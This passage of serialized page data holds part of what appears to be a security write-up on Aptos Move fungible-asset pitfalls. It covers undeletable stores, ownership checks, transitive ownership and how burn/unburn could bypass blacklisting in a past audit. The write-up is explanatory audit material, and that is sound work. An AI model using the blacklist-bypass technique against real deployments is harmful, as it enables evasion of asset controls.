",{"type":22,"tag":30,"props":2447,"children":2449},{"className":2448},[],[2450],{"type":27,"value":1252},{"type":27,"value":2452}," can be created as deletable if empty. The catch is that deletion can occur both at the fungible asset level and at the object level.",{"type":22,"tag":91,"props":2454,"children":2456},{"className":93,"code":2455,"language":95,"meta":7,"style":7},"//Fungible asset\npublic fun remove_store(delete_ref: &DeleteRef)\n\n//Object\npublic fun delete(ref: DeleteRef)\n",[2457],{"type":22,"tag":30,"props":2458,"children":2459},{"__ignoreMap":7},[2460,2468,2511,2518,2526],{"type":22,"tag":101,"props":2461,"children":2462},{"class":103,"line":104},[2463],{"type":22,"tag":101,"props":2464,"children":2465},{"style":2215},[2466],{"type":27,"value":2467},"//Fungible asset\n",{"type":22,"tag":101,"props":2469,"children":2470},{"class":103,"line":157},[2471,2475,2479,2484,2488,2493,2497,2501,2506],{"type":22,"tag":101,"props":2472,"children":2473},{"style":126},[2474],{"type":27,"value":821},{"type":22,"tag":101,"props":2476,"children":2477},{"style":126},[2478],{"type":27,"value":826},{"type":22,"tag":101,"props":2480,"children":2481},{"style":926},[2482],{"type":27,"value":2483}," remove_store",{"type":22,"tag":101,"props":2485,"children":2486},{"style":120},[2487],{"type":27,"value":980},{"type":22,"tag":101,"props":2489,"children":2490},{"style":126},[2491],{"type":27,"value":2492},"delete_ref",{"type":22,"tag":101,"props":2494,"children":2495},{"style":166},[2496],{"type":27,"value":169},{"type":22,"tag":101,"props":2498,"children":2499},{"style":166},[2500],{"type":27,"value":870},{"type":22,"tag":101,"props":2502,"children":2503},{"style":114},[2504],{"type":27,"value":2505},"DeleteRef",{"type":22,"tag":101,"props":2507,"children":2508},{"style":120},[2509],{"type":27,"value":2510},")\n",{"type":22,"tag":101,"props":2512,"children":2513},{"class":103,"line":182},[2514],{"type":22,"tag":101,"props":2515,"children":2516},{"emptyLinePlaceholder":15},[2517],{"type":27,"value":1581},{"type":22,"tag":101,"props":2519,"children":2520},{"class":103,"line":367},[2521],{"type":22,"tag":101,"props":2522,"children":2523},{"style":2215},[2524],{"type":27,"value":2525},"//Object\n",{"type":22,"tag":101,"props":2527,"children":2528},{"class":103,"line":398},[2529,2533,2537,2542,2546,2551,2555,2560],{"type":22,"tag":101,"props":2530,"children":2531},{"style":126},[2532],{"type":27,"value":821},{"type":22,"tag":101,"props":2534,"children":2535},{"style":126},[2536],{"type":27,"value":826},{"type":22,"tag":101,"props":2538,"children":2539},{"style":926},[2540],{"type":27,"value":2541}," delete",{"type":22,"tag":101,"props":2543,"children":2544},{"style":120},[2545],{"type":27,"value":980},{"type":22,"tag":101,"props":2547,"children":2548},{"style":108},[2549],{"type":27,"value":2550},"ref",{"type":22,"tag":101,"props":2552,"children":2553},{"style":166},[2554],{"type":27,"value":169},{"type":22,"tag":101,"props":2556,"children":2557},{"style":114},[2558],{"type":27,"value":2559}," DeleteRef",{"type":22,"tag":101,"props":2561,"children":2562},{"style":120},[2563],{"type":27,"value":2510},{"type":22,"tag":23,"props":2565,"children":2566},{},[2567,2569,2575,2577,2582,2584,2589,2591,2596,2598,2604,2606,2612,2614,2619],{"type":27,"value":2568},"When ",{"type":22,"tag":30,"props":2570,"children":2572},{"className":2571},[],[2573],{"type":27,"value":2574},"object::delete",{"type":27,"value":2576}," removes the ",{"type":22,"tag":30,"props":2578,"children":2580},{"className":2579},[],[2581],{"type":27,"value":2040},{"type":27,"value":2583}," from a ",{"type":22,"tag":30,"props":2585,"children":2587},{"className":2586},[],[2588],{"type":27,"value":1252},{"type":27,"value":2590}," object, the ",{"type":22,"tag":30,"props":2592,"children":2594},{"className":2593},[],[2595],{"type":27,"value":1252},{"type":27,"value":2597}," resource becomes permanently undeletable. This is because ",{"type":22,"tag":30,"props":2599,"children":2601},{"className":2600},[],[2602],{"type":27,"value":2603},"remove_store",{"type":27,"value":2605}," can't create an ",{"type":22,"tag":30,"props":2607,"children":2609},{"className":2608},[],[2610],{"type":27,"value":2611},"Object\u003CFungibleStore>",{"type":27,"value":2613}," without an ",{"type":22,"tag":30,"props":2615,"children":2617},{"className":2616},[],[2618],{"type":27,"value":2040},{"type":27,"value":2620}," underneath, causing the operation to fail.",{"type":22,"tag":91,"props":2622,"children":2624},{"className":93,"code":2623,"language":95,"meta":7,"style":7},"public fun remove_store(delete_ref: &DeleteRef) acquires [...] {\n let store = &object::object_from_delete_ref\u003CFungibleStore>(delete_ref);\n [...]\n}\n",[2625],{"type":22,"tag":30,"props":2626,"children":2627},{"__ignoreMap":7},[2628,2683,2735,2750],{"type":22,"tag":101,"props":2629,"children":2630},{"class":103,"line":104},[2631,2635,2639,2643,2647,2651,2655,2659,2663,2667,2671,2675,2679],{"type":22,"tag":101,"props":2632,"children":2633},{"style":126},[2634],{"type":27,"value":821},{"type":22,"tag":101,"props":2636,"children":2637},{"style":126},[2638],{"type":27,"value":826},{"type":22,"tag":101,"props":2640,"children":2641},{"style":926},[2642],{"type":27,"value":2483},{"type":22,"tag":101,"props":2644,"children":2645},{"style":120},[2646],{"type":27,"value":980},{"type":22,"tag":101,"props":2648,"children":2649},{"style":126},[2650],{"type":27,"value":2492},{"type":22,"tag":101,"props":2652,"children":2653},{"style":166},[2654],{"type":27,"value":169},{"type":22,"tag":101,"props":2656,"children":2657},{"style":166},[2658],{"type":27,"value":870},{"type":22,"tag":101,"props":2660,"children":2661},{"style":114},[2662],{"type":27,"value":2505},{"type":22,"tag":101,"props":2664,"children":2665},{"style":120},[2666],{"type":27,"value":901},{"type":22,"tag":101,"props":2668,"children":2669},{"style":126},[2670],{"type":27,"value":906},{"type":22,"tag":101,"props":2672,"children":2673},{"style":120},[2674],{"type":27,"value":911},{"type":22,"tag":101,"props":2676,"children":2677},{"style":166},[2678],{"type":27,"value":614},{"type":22,"tag":101,"props":2680,"children":2681},{"style":120},[2682],{"type":27,"value":920},{"type":22,"tag":101,"props":2684,"children":2685},{"class":103,"line":157},[2686,2690,2694,2698,2702,2706,2710,2715,2719,2723,2727,2731],{"type":22,"tag":101,"props":2687,"children":2688},{"style":108},[2689],{"type":27,"value":950},{"type":22,"tag":101,"props":2691,"children":2692},{"style":126},[2693],{"type":27,"value":149},{"type":22,"tag":101,"props":2695,"children":2696},{"style":166},[2697],{"type":27,"value":960},{"type":22,"tag":101,"props":2699,"children":2700},{"style":166},[2701],{"type":27,"value":870},{"type":22,"tag":101,"props":2703,"children":2704},{"style":120},[2705],{"type":27,"value":2114},{"type":22,"tag":101,"props":2707,"children":2708},{"style":166},[2709],{"type":27,"value":970},{"type":22,"tag":101,"props":2711,"children":2712},{"style":126},[2713],{"type":27,"value":2714},"object_from_delete_ref",{"type":22,"tag":101,"props":2716,"children":2717},{"style":120},[2718],{"type":27,"value":123},{"type":22,"tag":101,"props":2720,"children":2721},{"style":114},[2722],{"type":27,"value":1252},{"type":22,"tag":101,"props":2724,"children":2725},{"style":120},[2726],{"type":27,"value":1618},{"type":22,"tag":101,"props":2728,"children":2729},{"style":126},[2730],{"type":27,"value":2492},{"type":22,"tag":101,"props":2732,"children":2733},{"style":120},[2734],{"type":27,"value":994},{"type":22,"tag":101,"props":2736,"children":2737},{"class":103,"line":182},[2738,2742,2746],{"type":22,"tag":101,"props":2739,"children":2740},{"style":120},[2741],{"type":27,"value":1915},{"type":22,"tag":101,"props":2743,"children":2744},{"style":166},[2745],{"type":27,"value":614},{"type":22,"tag":101,"props":2747,"children":2748},{"style":120},[2749],{"type":27,"value":1884},{"type":22,"tag":101,"props":2751,"children":2752},{"class":103,"line":367},[2753],{"type":22,"tag":101,"props":2754,"children":2755},{"style":120},[2756],{"type":27,"value":188},{"type":22,"tag":23,"props":2758,"children":2759},{},[2760,2762,2767,2769,2775,2777,2782],{"type":27,"value":2761},"In addition, such \"deleted\" ",{"type":22,"tag":30,"props":2763,"children":2765},{"className":2764},[],[2766],{"type":27,"value":1252},{"type":27,"value":2768}," objects remain at least partially operable. For instance, ",{"type":22,"tag":30,"props":2770,"children":2772},{"className":2771},[],[2773],{"type":27,"value":2774},"fungible_asset::deposit",{"type":27,"value":2776}," does not check the ",{"type":22,"tag":30,"props":2778,"children":2780},{"className":2779},[],[2781],{"type":27,"value":2040},{"type":27,"value":2783}," existence.",{"type":22,"tag":1760,"props":2785,"children":2787},{"id":2786},"ownership",[2788],{"type":27,"value":2789},"Ownership",{"type":22,"tag":23,"props":2791,"children":2792},{},[2793,2795,2800,2802,2808,2810,2815],{"type":27,"value":2794},"Each object has an owner. Fungible assets rely on the ",{"type":22,"tag":30,"props":2796,"children":2798},{"className":2797},[],[2799],{"type":27,"value":2040},{"type":27,"value":2801}," ownership model. For example, during a withdrawal operation, the signer is validated using ",{"type":22,"tag":30,"props":2803,"children":2805},{"className":2804},[],[2806],{"type":27,"value":2807},"object::owns",{"type":27,"value":2809}," to confirm ownership of the ",{"type":22,"tag":30,"props":2811,"children":2813},{"className":2812},[],[2814],{"type":27,"value":1252},{"type":27,"value":2816}," object.",{"type":22,"tag":91,"props":2818,"children":2820},{"className":93,"code":2819,"language":95,"meta":7,"style":7},"public(friend) fun withdraw_sanity_check\u003CT: key>(\n owner: &signer,\n store: Object\u003CT>,\n abort_on_dispatch: bool,\n) acquires FungibleStore, DispatchFunctionStore {\n assert!(object::owns(store, signer::address_of(owner)), error::permission_denied(ENOT_STORE_OWNER));\n [...]\n}\n",[2821],{"type":22,"tag":30,"props":2822,"children":2823},{"__ignoreMap":7},[2824,2874,2898,2926,2946,2974,3044,3059],{"type":22,"tag":101,"props":2825,"children":2826},{"class":103,"line":104},[2827,2831,2835,2840,2844,2849,2854,2858,2862,2866,2870],{"type":22,"tag":101,"props":2828,"children":2829},{"style":926},[2830],{"type":27,"value":821},{"type":22,"tag":101,"props":2832,"children":2833},{"style":120},[2834],{"type":27,"value":980},{"type":22,"tag":101,"props":2836,"children":2837},{"style":126},[2838],{"type":27,"value":2839},"friend",{"type":22,"tag":101,"props":2841,"children":2842},{"style":120},[2843],{"type":27,"value":901},{"type":22,"tag":101,"props":2845,"children":2846},{"style":126},[2847],{"type":27,"value":2848},"fun",{"type":22,"tag":101,"props":2850,"children":2851},{"style":126},[2852],{"type":27,"value":2853}," withdraw_sanity_check",{"type":22,"tag":101,"props":2855,"children":2856},{"style":120},[2857],{"type":27,"value":123},{"type":22,"tag":101,"props":2859,"children":2860},{"style":114},[2861],{"type":27,"value":840},{"type":22,"tag":101,"props":2863,"children":2864},{"style":166},[2865],{"type":27,"value":169},{"type":22,"tag":101,"props":2867,"children":2868},{"style":126},[2869],{"type":27,"value":310},{"type":22,"tag":101,"props":2871,"children":2872},{"style":120},[2873],{"type":27,"value":853},{"type":22,"tag":101,"props":2875,"children":2876},{"class":103,"line":157},[2877,2882,2886,2890,2894],{"type":22,"tag":101,"props":2878,"children":2879},{"style":126},[2880],{"type":27,"value":2881}," owner",{"type":22,"tag":101,"props":2883,"children":2884},{"style":166},[2885],{"type":27,"value":169},{"type":22,"tag":101,"props":2887,"children":2888},{"style":166},[2889],{"type":27,"value":870},{"type":22,"tag":101,"props":2891,"children":2892},{"style":126},[2893],{"type":27,"value":875},{"type":22,"tag":101,"props":2895,"children":2896},{"style":120},[2897],{"type":27,"value":179},{"type":22,"tag":101,"props":2899,"children":2900},{"class":103,"line":182},[2901,2906,2910,2914,2918,2922],{"type":22,"tag":101,"props":2902,"children":2903},{"style":126},[2904],{"type":27,"value":2905}," store",{"type":22,"tag":101,"props":2907,"children":2908},{"style":166},[2909],{"type":27,"value":169},{"type":22,"tag":101,"props":2911,"children":2912},{"style":114},[2913],{"type":27,"value":706},{"type":22,"tag":101,"props":2915,"children":2916},{"style":120},[2917],{"type":27,"value":123},{"type":22,"tag":101,"props":2919,"children":2920},{"style":114},[2921],{"type":27,"value":840},{"type":22,"tag":101,"props":2923,"children":2924},{"style":120},[2925],{"type":27,"value":343},{"type":22,"tag":101,"props":2927,"children":2928},{"class":103,"line":367},[2929,2934,2938,2942],{"type":22,"tag":101,"props":2930,"children":2931},{"style":126},[2932],{"type":27,"value":2933}," abort_on_dispatch",{"type":22,"tag":101,"props":2935,"children":2936},{"style":166},[2937],{"type":27,"value":169},{"type":22,"tag":101,"props":2939,"children":2940},{"style":114},[2941],{"type":27,"value":360},{"type":22,"tag":101,"props":2943,"children":2944},{"style":120},[2945],{"type":27,"value":179},{"type":22,"tag":101,"props":2947,"children":2948},{"class":103,"line":398},[2949,2953,2957,2961,2965,2970],{"type":22,"tag":101,"props":2950,"children":2951},{"style":120},[2952],{"type":27,"value":901},{"type":22,"tag":101,"props":2954,"children":2955},{"style":126},[2956],{"type":27,"value":906},{"type":22,"tag":101,"props":2958,"children":2959},{"style":114},[2960],{"type":27,"value":1272},{"type":22,"tag":101,"props":2962,"children":2963},{"style":120},[2964],{"type":27,"value":758},{"type":22,"tag":101,"props":2966,"children":2967},{"style":114},[2968],{"type":27,"value":2969},"DispatchFunctionStore",{"type":22,"tag":101,"props":2971,"children":2972},{"style":120},[2973],{"type":27,"value":154},{"type":22,"tag":101,"props":2975,"children":2976},{"class":103,"line":428},[2977,2981,2986,2990,2995,2999,3003,3008,3012,3016,3020,3025,3030,3034,3039],{"type":22,"tag":101,"props":2978,"children":2979},{"style":926},[2980],{"type":27,"value":1528},{"type":22,"tag":101,"props":2982,"children":2983},{"style":120},[2984],{"type":27,"value":2985},"(object",{"type":22,"tag":101,"props":2987,"children":2988},{"style":166},[2989],{"type":27,"value":970},{"type":22,"tag":101,"props":2991,"children":2992},{"style":926},[2993],{"type":27,"value":2994},"owns",{"type":22,"tag":101,"props":2996,"children":2997},{"style":120},[2998],{"type":27,"value":980},{"type":22,"tag":101,"props":3000,"children":3001},{"style":126},[3002],{"type":27,"value":256},{"type":22,"tag":101,"props":3004,"children":3005},{"style":120},[3006],{"type":27,"value":3007},", signer",{"type":22,"tag":101,"props":3009,"children":3010},{"style":166},[3011],{"type":27,"value":970},{"type":22,"tag":101,"props":3013,"children":3014},{"style":926},[3015],{"type":27,"value":1958},{"type":22,"tag":101,"props":3017,"children":3018},{"style":120},[3019],{"type":27,"value":980},{"type":22,"tag":101,"props":3021,"children":3022},{"style":126},[3023],{"type":27,"value":3024},"owner",{"type":22,"tag":101,"props":3026,"children":3027},{"style":120},[3028],{"type":27,"value":3029},")), error",{"type":22,"tag":101,"props":3031,"children":3032},{"style":166},[3033],{"type":27,"value":970},{"type":22,"tag":101,"props":3035,"children":3036},{"style":926},[3037],{"type":27,"value":3038},"permission_denied",{"type":22,"tag":101,"props":3040,"children":3041},{"style":120},[3042],{"type":27,"value":3043},"(ENOT_STORE_OWNER));\n",{"type":22,"tag":101,"props":3045,"children":3046},{"class":103,"line":997},[3047,3051,3055],{"type":22,"tag":101,"props":3048,"children":3049},{"style":120},[3050],{"type":27,"value":1915},{"type":22,"tag":101,"props":3052,"children":3053},{"style":166},[3054],{"type":27,"value":614},{"type":22,"tag":101,"props":3056,"children":3057},{"style":120},[3058],{"type":27,"value":1884},{"type":22,"tag":101,"props":3060,"children":3061},{"class":103,"line":1032},[3062],{"type":22,"tag":101,"props":3063,"children":3064},{"style":120},[3065],{"type":27,"value":188},{"type":22,"tag":23,"props":3067,"children":3068},{},[3069,3071,3076,3078,3084,3086,3092],{"type":27,"value":3070},"The thing to note is that defining ownership with ",{"type":22,"tag":30,"props":3072,"children":3074},{"className":3073},[],[3075],{"type":27,"value":2807},{"type":27,"value":3077}," can be tricky. The ",{"type":22,"tag":30,"props":3079,"children":3081},{"className":3080},[],[3082],{"type":27,"value":3083},"burn",{"type":27,"value":3085}," function was one of the reasons behind that. It allowed changing the object's owner to the ",{"type":22,"tag":30,"props":3087,"children":3089},{"className":3088},[],[3090],{"type":27,"value":3091},"BURN_ADDRESS",{"type":27,"value":3093}," while bypassing transfer restrictions:",{"type":22,"tag":91,"props":3095,"children":3097},{"className":93,"code":3096,"language":95,"meta":7,"style":7},"public entry fun burn\u003CT: key>(owner: &signer, object: Object\u003CT>) acquires ObjectCore {\n let original_owner = signer::address_of(owner);\n assert!(is_owner(object, original_owner), error::permission_denied(ENOT_OBJECT_OWNER));\n let object_addr = object.inner;\n move_to(&create_signer(object_addr), TombStone { original_owner });\n transfer_raw_inner(object_addr, BURN_ADDRESS);\n}\n",[3098],{"type":22,"tag":30,"props":3099,"children":3100},{"__ignoreMap":7},[3101,3199,3240,3290,3319,3370,3391],{"type":22,"tag":101,"props":3102,"children":3103},{"class":103,"line":104},[3104,3108,3112,3116,3121,3125,3129,3133,3137,3141,3145,3149,3153,3157,3161,3165,3169,3173,3177,3181,3186,3190,3195],{"type":22,"tag":101,"props":3105,"children":3106},{"style":126},[3107],{"type":27,"value":821},{"type":22,"tag":101,"props":3109,"children":3110},{"style":126},[3111],{"type":27,"value":1836},{"type":22,"tag":101,"props":3113,"children":3114},{"style":126},[3115],{"type":27,"value":826},{"type":22,"tag":101,"props":3117,"children":3118},{"style":126},[3119],{"type":27,"value":3120}," burn",{"type":22,"tag":101,"props":3122,"children":3123},{"style":120},[3124],{"type":27,"value":123},{"type":22,"tag":101,"props":3126,"children":3127},{"style":114},[3128],{"type":27,"value":840},{"type":22,"tag":101,"props":3130,"children":3131},{"style":166},[3132],{"type":27,"value":169},{"type":22,"tag":101,"props":3134,"children":3135},{"style":126},[3136],{"type":27,"value":310},{"type":22,"tag":101,"props":3138,"children":3139},{"style":120},[3140],{"type":27,"value":1618},{"type":22,"tag":101,"props":3142,"children":3143},{"style":126},[3144],{"type":27,"value":3024},{"type":22,"tag":101,"props":3146,"children":3147},{"style":166},[3148],{"type":27,"value":169},{"type":22,"tag":101,"props":3150,"children":3151},{"style":166},[3152],{"type":27,"value":870},{"type":22,"tag":101,"props":3154,"children":3155},{"style":126},[3156],{"type":27,"value":875},{"type":22,"tag":101,"props":3158,"children":3159},{"style":120},[3160],{"type":27,"value":758},{"type":22,"tag":101,"props":3162,"children":3163},{"style":126},[3164],{"type":27,"value":2114},{"type":22,"tag":101,"props":3166,"children":3167},{"style":166},[3168],{"type":27,"value":169},{"type":22,"tag":101,"props":3170,"children":3171},{"style":114},[3172],{"type":27,"value":706},{"type":22,"tag":101,"props":3174,"children":3175},{"style":120},[3176],{"type":27,"value":123},{"type":22,"tag":101,"props":3178,"children":3179},{"style":114},[3180],{"type":27,"value":840},{"type":22,"tag":101,"props":3182,"children":3183},{"style":120},[3184],{"type":27,"value":3185},">) ",{"type":22,"tag":101,"props":3187,"children":3188},{"style":126},[3189],{"type":27,"value":906},{"type":22,"tag":101,"props":3191,"children":3192},{"style":114},[3193],{"type":27,"value":3194}," ObjectCore",{"type":22,"tag":101,"props":3196,"children":3197},{"style":120},[3198],{"type":27,"value":154},{"type":22,"tag":101,"props":3200,"children":3201},{"class":103,"line":157},[3202,3206,3211,3215,3220,3224,3228,3232,3236],{"type":22,"tag":101,"props":3203,"children":3204},{"style":108},[3205],{"type":27,"value":950},{"type":22,"tag":101,"props":3207,"children":3208},{"style":126},[3209],{"type":27,"value":3210}," original_owner",{"type":22,"tag":101,"props":3212,"children":3213},{"style":166},[3214],{"type":27,"value":960},{"type":22,"tag":101,"props":3216,"children":3217},{"style":120},[3218],{"type":27,"value":3219}," signer",{"type":22,"tag":101,"props":3221,"children":3222},{"style":166},[3223],{"type":27,"value":970},{"type":22,"tag":101,"props":3225,"children":3226},{"style":926},[3227],{"type":27,"value":1958},{"type":22,"tag":101,"props":3229,"children":3230},{"style":120},[3231],{"type":27,"value":980},{"type":22,"tag":101,"props":3233,"children":3234},{"style":126},[3235],{"type":27,"value":3024},{"type":22,"tag":101,"props":3237,"children":3238},{"style":120},[3239],{"type":27,"value":994},{"type":22,"tag":101,"props":3241,"children":3242},{"class":103,"line":182},[3243,3247,3251,3256,3260,3264,3268,3273,3277,3281,3285],{"type":22,"tag":101,"props":3244,"children":3245},{"style":926},[3246],{"type":27,"value":1528},{"type":22,"tag":101,"props":3248,"children":3249},{"style":120},[3250],{"type":27,"value":980},{"type":22,"tag":101,"props":3252,"children":3253},{"style":926},[3254],{"type":27,"value":3255},"is_owner",{"type":22,"tag":101,"props":3257,"children":3258},{"style":120},[3259],{"type":27,"value":980},{"type":22,"tag":101,"props":3261,"children":3262},{"style":126},[3263],{"type":27,"value":2114},{"type":22,"tag":101,"props":3265,"children":3266},{"style":120},[3267],{"type":27,"value":758},{"type":22,"tag":101,"props":3269,"children":3270},{"style":126},[3271],{"type":27,"value":3272},"original_owner",{"type":22,"tag":101,"props":3274,"children":3275},{"style":120},[3276],{"type":27,"value":2137},{"type":22,"tag":101,"props":3278,"children":3279},{"style":166},[3280],{"type":27,"value":970},{"type":22,"tag":101,"props":3282,"children":3283},{"style":926},[3284],{"type":27,"value":3038},{"type":22,"tag":101,"props":3286,"children":3287},{"style":120},[3288],{"type":27,"value":3289},"(ENOT_OBJECT_OWNER));\n",{"type":22,"tag":101,"props":3291,"children":3292},{"class":103,"line":367},[3293,3297,3302,3306,3310,3314],{"type":22,"tag":101,"props":3294,"children":3295},{"style":108},[3296],{"type":27,"value":950},{"type":22,"tag":101,"props":3298,"children":3299},{"style":126},[3300],{"type":27,"value":3301}," object_addr",{"type":22,"tag":101,"props":3303,"children":3304},{"style":166},[3305],{"type":27,"value":960},{"type":22,"tag":101,"props":3307,"children":3308},{"style":126},[3309],{"type":27,"value":1684},{"type":22,"tag":101,"props":3311,"children":3312},{"style":166},[3313],{"type":27,"value":231},{"type":22,"tag":101,"props":3315,"children":3316},{"style":120},[3317],{"type":27,"value":3318},"inner;\n",{"type":22,"tag":101,"props":3320,"children":3321},{"class":103,"line":398},[3322,3326,3330,3334,3339,3343,3348,3352,3357,3361,3365],{"type":22,"tag":101,"props":3323,"children":3324},{"style":926},[3325],{"type":27,"value":2305},{"type":22,"tag":101,"props":3327,"children":3328},{"style":120},[3329],{"type":27,"value":980},{"type":22,"tag":101,"props":3331,"children":3332},{"style":166},[3333],{"type":27,"value":985},{"type":22,"tag":101,"props":3335,"children":3336},{"style":926},[3337],{"type":27,"value":3338},"create_signer",{"type":22,"tag":101,"props":3340,"children":3341},{"style":120},[3342],{"type":27,"value":980},{"type":22,"tag":101,"props":3344,"children":3345},{"style":126},[3346],{"type":27,"value":3347},"object_addr",{"type":22,"tag":101,"props":3349,"children":3350},{"style":120},[3351],{"type":27,"value":1099},{"type":22,"tag":101,"props":3353,"children":3354},{"style":114},[3355],{"type":27,"value":3356},"TombStone",{"type":22,"tag":101,"props":3358,"children":3359},{"style":120},[3360],{"type":27,"value":1479},{"type":22,"tag":101,"props":3362,"children":3363},{"style":126},[3364],{"type":27,"value":3272},{"type":22,"tag":101,"props":3366,"children":3367},{"style":120},[3368],{"type":27,"value":3369}," });\n",{"type":22,"tag":101,"props":3371,"children":3372},{"class":103,"line":428},[3373,3378,3382,3386],{"type":22,"tag":101,"props":3374,"children":3375},{"style":926},[3376],{"type":27,"value":3377}," transfer_raw_inner",{"type":22,"tag":101,"props":3379,"children":3380},{"style":120},[3381],{"type":27,"value":980},{"type":22,"tag":101,"props":3383,"children":3384},{"style":126},[3385],{"type":27,"value":3347},{"type":22,"tag":101,"props":3387,"children":3388},{"style":120},[3389],{"type":27,"value":3390},", BURN_ADDRESS);\n",{"type":22,"tag":101,"props":3392,"children":3393},{"class":103,"line":997},[3394],{"type":22,"tag":101,"props":3395,"children":3396},{"style":120},[3397],{"type":27,"value":188},{"type":22,"tag":23,"props":3399,"children":3400},{},[3401,3407,3409,3414,3416,3423,3425,3430],{"type":22,"tag":30,"props":3402,"children":3404},{"className":3403},[],[3405],{"type":27,"value":3406},"unburn",{"type":27,"value":3408}," is a way to restore the previous object owner. In a past audit, this mechanism could be exploited to bypass fungible store owner blacklisting by temporarily setting ownership to the unblacklisted ",{"type":22,"tag":30,"props":3410,"children":3412},{"className":3411},[],[3413],{"type":27,"value":3091},{"type":27,"value":3415},". ",{"type":22,"tag":80,"props":3417,"children":3420},{"href":3418,"rel":3419},"https://github.com/aptos-foundation/AIPs/blob/main/aips/aip-99.md",[84],[3421],{"type":27,"value":3422},"AIP-99",{"type":27,"value":3424}," is a proposal to roll back the ",{"type":22,"tag":30,"props":3426,"children":3428},{"className":3427},[],[3429],{"type":27,"value":3083},{"type":27,"value":3431}," feature, but previously burned objects will remain restorable.",{"type":22,"tag":604,"props":3433,"children":3434},{},[3435],{"type":22,"tag":23,"props":3436,"children":3437},{},[3438,3440,3444],{"type":27,"value":3439},"This ",{"type":22,"tag":101,"props":3441,"children":3442},{},[3443],{"type":27,"value":3422},{"type":27,"value":3445}," seeks to disable safe object burn, as it caused extra complexity, and sometimes unexpected consequences. As a result of this AIP, users will still be able to unburn their burnt objects, but will not be able to burn any new objects.",{"type":22,"tag":23,"props":3447,"children":3448},{},[3449,3451,3457,3459,3464,3466,3471],{"type":27,"value":3450},"Another important thing is that ",{"type":22,"tag":30,"props":3452,"children":3454},{"className":3453},[],[3455],{"type":27,"value":3456},"fungible_asset::set_untransferable",{"type":27,"value":3458}," can be used to make all new ",{"type":22,"tag":30,"props":3460,"children":3462},{"className":3461},[],[3463],{"type":27,"value":1774},{"type":27,"value":3465}," for this asset untransferable, preventing ownership changes. However, this restriction doesn't apply to the parent object, allowing a transferable parent to be moved even if it owns a non-transferable ",{"type":22,"tag":30,"props":3467,"children":3469},{"className":3468},[],[3470],{"type":27,"value":1252},{"type":27,"value":231},{"type":22,"tag":23,"props":3473,"children":3474},{},[3475,3477,3482,3484,3490,3492,3497,3499,3504],{"type":27,"value":3476},"Do we need to care about this case? We do, because ownership is transitive. If entity X owns an object that owns a ",{"type":22,"tag":30,"props":3478,"children":3480},{"className":3479},[],[3481],{"type":27,"value":1252},{"type":27,"value":3483},", X can withdraw from that store. This is because ",{"type":22,"tag":30,"props":3485,"children":3487},{"className":3486},[],[3488],{"type":27,"value":3489},"fungible_asset::withdraw",{"type":27,"value":3491}," uses ",{"type":22,"tag":30,"props":3493,"children":3495},{"className":3494},[],[3496],{"type":27,"value":2807},{"type":27,"value":3498}," to verify both direct and indirect ownership of the ",{"type":22,"tag":30,"props":3500,"children":3502},{"className":3501},[],[3503],{"type":27,"value":1252},{"type":27,"value":2816},{"type":22,"tag":91,"props":3506,"children":3508},{"className":93,"code":3507,"language":95,"meta":7,"style":7},"fun verify_ungated_and_descendant(owner: address, destination: address) acquires ObjectCore {\n [...]\n while (owner != current_address) {\n count = count + 1;\n [...]\n assert!(\n exists\u003CObjectCore>(current_address),\n error::permission_denied(ENOT_OBJECT_OWNER),\n );\n let object = borrow_global\u003CObjectCore>(current_address);\n current_address = object.owner;\n };\n}\n",[3509],{"type":22,"tag":30,"props":3510,"children":3511},{"__ignoreMap":7},[3512,3574,3590,3622,3653,3668,3680,3710,3731,3739,3780,3805,3813],{"type":22,"tag":101,"props":3513,"children":3514},{"class":103,"line":104},[3515,3519,3524,3528,3532,3536,3541,3545,3550,3554,3558,3562,3566,3570],{"type":22,"tag":101,"props":3516,"children":3517},{"style":126},[3518],{"type":27,"value":2848},{"type":22,"tag":101,"props":3520,"children":3521},{"style":926},[3522],{"type":27,"value":3523}," verify_ungated_and_descendant",{"type":22,"tag":101,"props":3525,"children":3526},{"style":120},[3527],{"type":27,"value":980},{"type":22,"tag":101,"props":3529,"children":3530},{"style":126},[3531],{"type":27,"value":3024},{"type":22,"tag":101,"props":3533,"children":3534},{"style":166},[3535],{"type":27,"value":169},{"type":22,"tag":101,"props":3537,"children":3538},{"style":126},[3539],{"type":27,"value":3540}," address",{"type":22,"tag":101,"props":3542,"children":3543},{"style":120},[3544],{"type":27,"value":758},{"type":22,"tag":101,"props":3546,"children":3547},{"style":126},[3548],{"type":27,"value":3549},"destination",{"type":22,"tag":101,"props":3551,"children":3552},{"style":166},[3553],{"type":27,"value":169},{"type":22,"tag":101,"props":3555,"children":3556},{"style":126},[3557],{"type":27,"value":3540},{"type":22,"tag":101,"props":3559,"children":3560},{"style":120},[3561],{"type":27,"value":901},{"type":22,"tag":101,"props":3563,"children":3564},{"style":126},[3565],{"type":27,"value":906},{"type":22,"tag":101,"props":3567,"children":3568},{"style":114},[3569],{"type":27,"value":3194},{"type":22,"tag":101,"props":3571,"children":3572},{"style":120},[3573],{"type":27,"value":154},{"type":22,"tag":101,"props":3575,"children":3576},{"class":103,"line":157},[3577,3582,3586],{"type":22,"tag":101,"props":3578,"children":3579},{"style":120},[3580],{"type":27,"value":3581}," [",{"type":22,"tag":101,"props":3583,"children":3584},{"style":166},[3585],{"type":27,"value":614},{"type":22,"tag":101,"props":3587,"children":3588},{"style":120},[3589],{"type":27,"value":1884},{"type":22,"tag":101,"props":3591,"children":3592},{"class":103,"line":182},[3593,3599,3604,3608,3613,3618],{"type":22,"tag":101,"props":3594,"children":3596},{"style":3595},"--shiki-default:#C586C0",[3597],{"type":27,"value":3598}," while",{"type":22,"tag":101,"props":3600,"children":3601},{"style":120},[3602],{"type":27,"value":3603}," (",{"type":22,"tag":101,"props":3605,"children":3606},{"style":126},[3607],{"type":27,"value":3024},{"type":22,"tag":101,"props":3609,"children":3610},{"style":166},[3611],{"type":27,"value":3612}," !=",{"type":22,"tag":101,"props":3614,"children":3615},{"style":126},[3616],{"type":27,"value":3617}," current_address",{"type":22,"tag":101,"props":3619,"children":3620},{"style":120},[3621],{"type":27,"value":1463},{"type":22,"tag":101,"props":3623,"children":3624},{"class":103,"line":367},[3625,3630,3634,3639,3644,3649],{"type":22,"tag":101,"props":3626,"children":3627},{"style":126},[3628],{"type":27,"value":3629}," count",{"type":22,"tag":101,"props":3631,"children":3632},{"style":166},[3633],{"type":27,"value":960},{"type":22,"tag":101,"props":3635,"children":3636},{"style":126},[3637],{"type":27,"value":3638}," count",{"type":22,"tag":101,"props":3640,"children":3641},{"style":166},[3642],{"type":27,"value":3643}," 